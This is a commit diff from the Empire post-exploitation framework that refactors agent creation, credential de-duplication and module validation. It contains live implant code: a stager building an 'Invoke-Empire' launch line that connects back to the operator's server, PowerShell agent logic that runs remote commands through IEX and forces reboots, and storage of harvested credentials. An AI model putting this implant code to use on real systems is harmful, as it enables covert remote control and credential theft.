5.0 - Agent response cleanup (#413)

* Reduce the amount of db calls in agent communications

* small optimization

* fix credential writes and change the way we check for uniqueness

* remove invalid semicolons

empire/server/common/stagers.py

@@ -707,21 +707,21 @@ def generate_stageless(self, options):
         else:
             host = ""
 
-        # add the agent
-        self.mainMenu.agents.add_agent(
-            session_id,
-            "0.0.0.0",
-            delay,
-            jitter,
-            profile,
-            kill_date,
-            working_hours,
-            lost_limit,
-            listener=listener_name,
-            language=language,
-        )
-
         with SessionLocal.begin() as db:
+            agent = self.mainMenu.agents.add_agent(
+                session_id,
+                "0.0.0.0",
+                delay,
+                jitter,
+                profile,
+                kill_date,
+                working_hours,
+                lost_limit,
+                listener=listener_name,
+                language=language,
+                db=db,
+            )
+
             # update the agent with this new information
             self.mainMenu.agents.update_agent_sysinfo_db(
                 db,
@@ -739,20 +739,20 @@ def generate_stageless(self, options):
                 architecture="AMD64",
             )
 
-        # get the agent's session key
-        session_key = self.mainMenu.agents.get_agent_session_key_db(session_id)
+            # get the agent's session key
+            session_key = agent.session_key
 
-        agent_code = active_listener.generate_agent(
-            active_listener.options, language=language, version=version
-        )
-        comms_code = active_listener.generate_comms(
-            active_listener.options, language=language
-        )
+            agent_code = active_listener.generate_agent(
+                active_listener.options, language=language, version=version
+            )
+            comms_code = active_listener.generate_comms(
+                active_listener.options, language=language
+            )
 
-        launch_code = (
-            "\nInvoke-Empire -Servers @('%s') -StagingKey '%s' -SessionKey '%s' -SessionID '%s';"
-            % (host, staging_key, session_key, session_id)
-        )
+            launch_code = (
+                "\nInvoke-Empire -Servers @('%s') -StagingKey '%s' -SessionKey '%s' -SessionID '%s';"
+                % (host, staging_key, session_key, session_id)
+            )
 
-        full_agent = comms_code + agent_code + launch_code
-        return full_agent
+            full_agent = comms_code + agent_code + launch_code
+            return full_agent

empire/server/data/agent/agent.ps1

@@ -351,7 +351,7 @@ function Invoke-Empire {
                 '(ps|tasklist)' {
                     $owners = @{};
                     Get-WmiObject win32_process | ForEach-Object {$o = $_.getowner(); if(-not $($o.User)) {$o='N/A'} else {$o="$($o.Domain)\$($o.User)"}; $owners[$_.handle] = $o};
-                    if($cmdargs -ne '') { $p = $cmdargs };
+                    if($cmdargs -ne '') { $p = $cmdargs }
                     else{ $p = "*" };
                     $output = Get-Process $p | ForEach-Object {
                         $arch = 'x64';
@@ -411,7 +411,7 @@ function Invoke-Empire {
                 '(reboot|restart)' { Restart-Computer -force };
                 shutdown { Stop-Computer -force };
                 default {
-                    if ($cmdargs.length -eq '') { $output = IEX $cmd | Out-String };
+                    if ($cmdargs.length -eq '') { $output = IEX $cmd | Out-String }
                     else { $output = IEX "$cmd $cmdargs" | Out-String };
                 }
             }

empire/server/database/models.py

@@ -226,14 +226,6 @@ def __setitem__(self, key, value):
         self.__dict__[key] = value
 
 
-# Mysql doesn't support a unique constraint on TEXT columns.
-# We could change it to STRING, but I'm not sure how long passwords can get.
-if empire_config.database.type == "sqlite":
-    Credential.unique = UniqueConstraint(
-        Credential.credtype, Credential.domain, Credential.username, Credential.password
-    )
-
-
 class Download(Base):
     __tablename__ = "downloads"
     id = Column(Integer, Sequence("download_seq"), primary_key=True)

empire/server/listeners/redirector.py

@@ -860,7 +860,7 @@ def shutdown(self, name=""):
 
             sessionID = self.mainMenu.agents.get_agent_id_db(name)
             isElevated = self.mainMenu.agents.is_agent_elevated(sessionID)
-            if self.mainMenu.agents.is_agent_present(name) and isElevated:
+            if self.mainMenu.agents.is_agent_present(sessionID) and isElevated:
 
                 if self.mainMenu.agents.get_language_db(sessionID).startswith("po"):
 

empire/server/v2/core/credential_service.py

@@ -1,5 +1,4 @@
-from sqlalchemy import or_
-from sqlalchemy.exc import IntegrityError
+from sqlalchemy import and_, or_
 from sqlalchemy.orm import Session
 
 from empire.server.database import models
@@ -38,22 +37,45 @@ def delete_credential(db: Session, credential: models.Credential):
         db.delete(credential)
 
     @staticmethod
-    def create_credential(db: Session, credential_dto: CredentialPostRequest):
-        credential = models.Credential(**credential_dto.dict())
+    def check_duplicate_credential(db, credential_dto) -> bool:
+        """
+        Using IntegrityError and depending on the db invalidates the whole
+        transaction, so instead we'll check it manually.
+        """
+        found = (
+            db.query(models.Credential)
+            .filter(
+                and_(
+                    models.Credential.credtype == credential_dto.credtype,
+                    models.Credential.domain == credential_dto.domain,
+                    models.Credential.username == credential_dto.username,
+                    models.Credential.password == credential_dto.password,
+                )
+            )
+            .first()
+        )
 
-        try:
-            db.add(credential)
+        return found is not None
 
-            db.flush()
+    def create_credential(self, db: Session, credential_dto: CredentialPostRequest):
+        dupe = self.check_duplicate_credential(db, credential_dto)
 
-            return credential, None
-        except IntegrityError:
+        if dupe:
             return None, "Credential not created. Duplicate detected."
 
-    @staticmethod
+        credential = models.Credential(**credential_dto.dict())
+
+        db.add(credential)
+        db.flush()
+
+        return credential, None
+
     def update_credential(
-        db: Session, db_credential: models.Credential, credential_req
+        self, db: Session, db_credential: models.Credential, credential_req
     ):
+        if self.check_duplicate_credential(db, credential_req):
+            return None, "Credential not updated. Duplicate detected."
+
         db_credential.credtype = credential_req.credtype
         db_credential.domain = credential_req.domain
         db_credential.username = credential_req.username
@@ -63,9 +85,6 @@ def update_credential(
         db_credential.sid = credential_req.sid
         db_credential.notes = credential_req.notes
 
-        try:
-            db.flush()
+        db.flush()
 
-            return db_credential, None
-        except IntegrityError:
-            return None, "Credential not updated. Duplicate detected."
+        return db_credential, None

empire/server/v2/core/module_service.py

@@ -13,11 +13,7 @@
 from empire.server.common.module_models import EmpireModule, LanguageEnum
 from empire.server.database import models
 from empire.server.database.base import SessionLocal
-from empire.server.utils.option_util import (
-    convert_module_options,
-    safe_cast,
-    validate_options,
-)
+from empire.server.utils.option_util import convert_module_options, validate_options
 from empire.server.v2.api.module.module_dto import (
     ModuleBulkUpdateRequest,
     ModuleUpdateRequest,
@@ -91,7 +87,7 @@ def execute_module(
             return None, "Cannot execute disabled module"
 
         cleaned_options, err = self._validate_module_params(
-            module, params, ignore_language_version_check, ignore_admin_check
+            module, agent, params, ignore_language_version_check, ignore_admin_check
         )
 
         if err:
@@ -190,6 +186,7 @@ def execute_module(
     def _validate_module_params(
         self,
         module: EmpireModule,
+        agent: models.Agent,
         params: Dict[str, str],
         ignore_language_version_check: bool = False,
         ignore_admin_check: bool = False,
@@ -206,15 +203,6 @@ def _validate_module_params(
         if err:
             return None, err
 
-        session_id = params["Agent"]
-        agent = self.main_menu.agents.get_agent_db(session_id)
-
-        if not self.main_menu.agents.is_agent_present(session_id):
-            return None, "invalid agent name"
-
-        if not agent:
-            return None, "invalid agent name"
-
         module_version = float(module.min_language_version or 0)
         agent_version = float(agent.language_version or 0)
         # check if the agent/module PowerShell versions are compatible

empire/test/test_modules.py

@@ -28,17 +28,6 @@ def test_load_modules(monkeypatch, caplog, db):
     main_menu = Mock()
     main_menu.installPath = "empire/server"
 
-    agent_mock = Mock()
-    agent_mock.language_version = "7.0"
-    main_menu.agents.get_agent_db.return_value = agent_mock
-
-    main_menu = Mock()
-    main_menu.installPath = "empire/server"
-
-    agent_mock = Mock()
-    agent_mock.language_version = "7.0"
-    main_menu.agents.get_agent_db.return_value = agent_mock
-
     main_menu.obfuscationv2 = Mock()
     obf_conf_mock = MagicMock()
     main_menu.obfuscationv2.get_obfuscation_config = Mock(